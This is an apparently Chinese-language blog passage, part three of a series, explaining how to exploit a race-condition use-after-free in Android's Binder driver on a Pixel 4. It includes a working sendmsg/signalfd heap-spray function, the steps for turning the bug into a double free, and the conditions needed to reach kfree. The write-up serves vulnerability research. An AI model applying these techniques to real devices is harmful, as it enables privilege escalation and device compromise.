深入分析Binder中的单指令竞态条件漏洞(三)

2021-01-07 5,201

在本文中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用方法。

 

(接上文)

 

漏洞利用策略

 

触发UAF漏洞是一回事,但是如何利用它实现代码执行又是另外一回事了。本节将为读者逐步演示如何利用该漏洞,希望这一过程能够加深读者对该漏洞的理解。

 

我们的测试将在运行2020年8月发布的最新Android 10原厂映像QQ3A.200805.001的Pixel 4设备上执行,没有安装其他安全更新。读者可以在Google开发人员网站上找到该映像。

 

UAF漏洞与SLUB分配器

 

顾名思义,“释放后使用(UAF)”背后的一般想法是在释放对象后继续使用动态分配的对象。有趣的是,该释放的对象现在可以由另一个具有不同布局的对象替换,从而在原始结构的特定字段上造成类型混淆。现在,当被利用的程序继续运行时,它会像使用原始对象一样使用已经重新分配的对象,这可能导致执行流的重定向。

 

众所周知,UAF漏洞的利用过程高度依赖于所使用的动态分配系统,对于Android系统来说,它使用了一种名为SLUB分配器的动态分配系统。

 

由于本文不打算解释SLUB分配器的工作原理,因此,如果您还不熟悉它,请先阅读有关该主题的相关资料,以便于充分理解本文的其余部分。

 

从本质上讲,slab可以分为存储特定大小或特定类型的对象的缓存。在我们的例子中,我们想重新分配binder节点对象占用的内存。在这里,binder_node结构体的长度为128字节,并且在运行Android 10的Pixel 4上没有专用的缓存,这意味着它位于kmalloc-128缓存中。因此,我们需要使用长度小于或等于128字节的对象进行内存喷射,详情见下文。

 

使用binder_release_work控制执行流程

 

我们之前说过,可以使用UAF漏洞来控制binder的switch/case参数。

 

static void binder_release_work(struct binder_proc *proc,

                struct list_head *list)

{

    struct binder_work *w;

    while (1) {

        w = binder_dequeue_work_head(proc, list);

        if (!w)

            return;

 

        switch (w->type) { /* <-- Value controlled with the use-after-free */

        // [...]

        default:

            pr_err("unexpected work type, %d, not freed\n",

                   w->type);

            break;

        }

    }

}

 

在本节中,我们将通过喷射slab来篡改w->type读取的值。

 

我们使用的喷射技术在Project Zero的“Mitigations are attack surface, too”中有详细的介绍,该技术依赖于sendmsg和signalfd的使用。

 

  •     sendmsg分配一个几乎由用户控制的数据填充的128字节内核对象

  •     sendmsg对象被释放

  •     此后,立即进行signalfd分配,创建一个8字节对象(也是128-kmalloc高速缓存的一部分),该对象很可能会替换以前的sendmsg,并将其内容“钉”在内存中。

 

通过这种喷射技术,可以获得以下结果,从而使我们能够控制w->type。

 

1.png

 

如Lexfo撰写的“CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 3/4)”所述,也可以仅通过阻止sendmsg来达到相同的效果。但是,利用漏洞的速度会显著变慢,正如我们将在下一部分中看到的那样,signalfd在利用此漏洞中起着非常重要作用。

 

我们可以使用类似于以下功能的函数在内核内存中喷射sendmsg和signalfd对象,以控制w->type。

 

void *spray_thread_func(void *argp) {

    struct spray_thread_data *data = (struct spray_thread_data*)argp;

    int delay;

    int msg_buf[SENDMSG_SIZE / sizeof(int)];

    int ctl_buf[SENDMSG_CONTROL_SIZE / sizeof(int)];

    struct msghdr spray_msg;

    struct iovec siov;

    uint64_t sigset_value;

 

    // Sendmsg control buffer initialization

    memset(&spray_msg, 0, sizeof(spray_msg));

    ctl_buf[0] = SENDMSG_CONTROL_SIZE - WORK_STRUCT_OFFSET;

    ctl_buf[6] = 0xdeadbeef; /* w->type value */

    siov.iov_base = msg_buf;

    siov.iov_len = SENDMSG_SIZE;

    spray_msg.msg_iov = &siov;

    spray_msg.msg_iovlen = 1;

    spray_msg.msg_control = ctl_buf;

    spray_msg.msg_controllen = SENDMSG_CONTROL_SIZE - WORK_STRUCT_OFFSET;

 

    for (;;) {

        // Barrier - Before spray

        pthread_barrier_wait(&data->barrier);

 

        // Waiting some time

        delay = rand() % SPRAY_DELAY;

        for (int i = 0; i < delay; i++) {}

 

        for (uint64_t i = 0; i < NB_SIGNALFDS; i++) {

            // Arbitrary signalfd value (will become relevant later)

            sigset_value = ~0;

            // Non-blocking sendmsg

            sendmsg(data->sock_fds[0], &spray_msg, MSG_OOB);

            // Signalfd call to pin sendmsg's control buffer in kernel memory

            signalfd_fds[data->trigger_id][data->spray_id][i] = signalfd(-1, (sigset_t*)&sigset_value, 0);

 

            if (signalfd_fds[data->trigger_id][data->spray_id][i] <= 0)

                debug_printf("Could not open signalfd - %d (%s)\n", signalfd_fds[data->trigger_id][data->spray_id][i], strerror(errno));

        }

 

        // Barrier - After spray

        pthread_barrier_wait(&data->barrier);

    }

 

    return NULL;

}

 

如果成功的利用了该漏洞,一段时间后应该在dmesg中看到以下日志内容:

 

[ 1245.158628] binder: unexpected work type, -559038737, not freed

[ 1249.805270] binder: unexpected work type, -559038737, not freed

[ 1256.615639] binder: unexpected work type, -559038737, not freed

[ 1258.221516] binder: unexpected work type, -559038737, not freed

 

Slab对象中的Double Free漏洞

 

尽管我们知道如何控制switch/case参数,但我们还没有介绍binder_release_work中的UAF漏洞可以用来做什么。下面,让我们看看该函数的其他部分,以确定我们的目标代码路径。

 

static void binder_release_work(struct binder_proc *proc,

                struct list_head *list)

{

    struct binder_work *w;

    while (1) {

        w = binder_dequeue_work_head(proc, list);

        if (!w)

            return;

 

        switch (w->type) {

        case BINDER_WORK_TRANSACTION: {

            struct binder_transaction *t;

            t = container_of(w, struct binder_transaction, work);

            binder_cleanup_transaction(t, "process died.",

                           BR_DEAD_REPLY);

        } break;

        case BINDER_WORK_RETURN_ERROR: {

            struct binder_error *e = container_of(

                    w, struct binder_error, work);

            binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,

                "undelivered TRANSACTION_ERROR: %u\n",

                e->cmd);

        } break;

        case BINDER_WORK_TRANSACTION_COMPLETE: {

            binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,

                "undelivered TRANSACTION_COMPLETE\n");

            kfree(w);

            binder_stats_deleted(BINDER_STAT_TRANSACTION_COMPLETE);

        } break;

        case BINDER_WORK_DEAD_BINDER_AND_CLEAR:

        case BINDER_WORK_CLEAR_DEATH_NOTIFICATION: {

            struct binder_ref_death *death;

            death = container_of(w, struct binder_ref_death, work);

            binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,

                "undelivered death notification, %016llx\n",

                (u64)death->cookie);

            kfree(death);

            binder_stats_deleted(BINDER_STAT_DEATH);

        } break;

        default:

            pr_err("unexpected work type, %d, not freed\n",

                   w->type);

            break;

        }

    }

}

 

从代码来看,每个分支要么输出一些日志信息,要么释放binder_work,这意味着唯一可能的策略就是对使用后的对象进行第二次释放。SLUB中的Double Free漏洞,意味着我们将能够在同一位置分配两个对象,使它们重叠,然后使用一个对象来修改另一个对象。

 

现在,并不是所有的释放过程都是一样的,如果我们的binder_node对象位于地址X处,那么出列的binder_work结构体将位于X+8处,并且:

 

  • BINDER_WORK_TRANSACTION将释放X处的对象

  • BINDER_WORK_TRANSACTION_COMPLETE、BINDER_WORK_DEAD_BINDER_AND_CLEAR和BINDER_WORK_CLEAR_DEATH_NOTIFICATION将释放X+8处的对象

 

对于在X处分配的对象,如果在X+8处释放它,则下一次的内存分配也将在X+8处进行。这可能是一个非常有趣的原语,因为它提供了下列功能:

 

  •      另一种重叠配置(与X处的偏移量相比,您可以获得不同的偏移量)

  •      一种到达与X处对象相邻的对象的潜在方式(例如,在X+8处分配一个128字节长的binder_node将导致对相邻对象进行8个字节的越界访问)。

 

我们没有将该策略用于这里的exploit,而是通过将w->type设置为BINDER_WORK_TRANSACTION,继续利用X处的常规Double Free漏洞。但是,这个路径比其他三个路径需要进行更多的工作。

 

在binder_cleanup_transaction中,我们用sendmsg的控制缓冲区来控制t,并希望到达对binder_free_transaction的调用。

 

static void binder_cleanup_transaction(struct binder_transaction *t,

                       const char *reason,

                       uint32_t error_code)

{

    if (t->buffer->target_node && !(t->flags & TF_ONE_WAY)) {

        binder_send_failed_reply(t, error_code);

    } else {

        binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,

            "undelivered transaction %d, %s\n",

            t->debug_id, reason);

        binder_free_transaction(t);

    }

}

 

首先要满足的条件是:

 

  1.      t->buffer必须指向有效的内核内存(例如始终在Pixel设备上分配的0xffffff8008000000)

  2.      TF_ONE_WAY应该在t->flags中设置

 

static void binder_free_transaction(struct binder_transaction *t)

{

    struct binder_proc *target_proc = t->to_proc;

    if (target_proc) {

        binder_inner_proc_lock(target_proc);

        if (t->buffer)

            t->buffer->transaction = NULL;

        binder_inner_proc_unlock(target_proc);

    }

    /*

     * If the transaction has no target_proc, then

     * t->buffer->transaction has already been cleared.

     */

    kfree(t);

    binder_stats_deleted(BINDER_STAT_TRANSACTION);

}

 

在binder_free_transaction中,达到kfree之前需要满足的其他条件是:

 

  •     t->to_proc应该为NULL

 

满足了这些要求之后,我们终于可以在X处利用一次Double Free漏洞了。

 

识别重叠对象

 

现在,为了继续利用漏洞以实现代码执行,我们需要借助于KASLR泄漏和任意内核内存读/写漏洞。由于最近的Pixel内核使用了CFI,因此,我们无法通过重定向执行流程来直接执行内核代码。

 

  •     可以通过读取存储在对象中的函数指针来获得KASLR泄漏漏洞。对于两个重叠的对象,其中一个对象应该允许我们从中读取其值,另一个对象需要具有一个与第一个对象的值对齐的函数指针。

  •     任意内核内存读/写要复杂一些,我们将在以下各节中详细加以介绍。现在,请注意,它们依赖于Thomas King的“内核空间镜像攻击(KSMA)”,并且我们需要在重叠对象的开始处写入8字节。

 

但是,在执行任何操作之前,我们需要确定对象在内存中重叠的位置。根据我们所处的漏洞利用阶段,我们不会重叠相同的对象。这意味着我们需要能够以足够的精度释放和分配对象,以免丢失对悬空内存区域的引用。

 

当然,我们可以使用不同方法来检测重叠对象。但是对于这里的exploit来说,我们决定重用signalfd,其思想是在第一次喷射期间获得w->type的控制权,并通过其sigset_t值为每个signalfd赋予一个特定的标识号。

 

实际上,如果一切顺利的话,exploit将开始使用sendmsg和signalfd来喷射内存。然后,就会出现UAF漏洞。其中,一个sendmsg/signalfd对象将替换binder_node对象并更改w-type的值。之后,将出现Double Free漏洞,并允许两个对象相互重叠。我们继续使用sendmsg/signalfd喷射技术,使双重释放的signalfd与另一个重叠。这将导致一个其值已经被改变的signalfd,并且利用其标识号,就能确定它与哪个signalfd发生了重叠,具体如下图所示:

 

QQ截图20210106161830.png

 

小结

在本系列文章中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用方法。由于篇幅过长,我们将分多篇文章发表,更多精彩内容,敬请期待!

 

(未完待续)


本文作者:mssp299

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/150984.html

Tags:
评论  (0)
快来写下你的想法吧!

mssp299

文章数:42 积分: 577

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号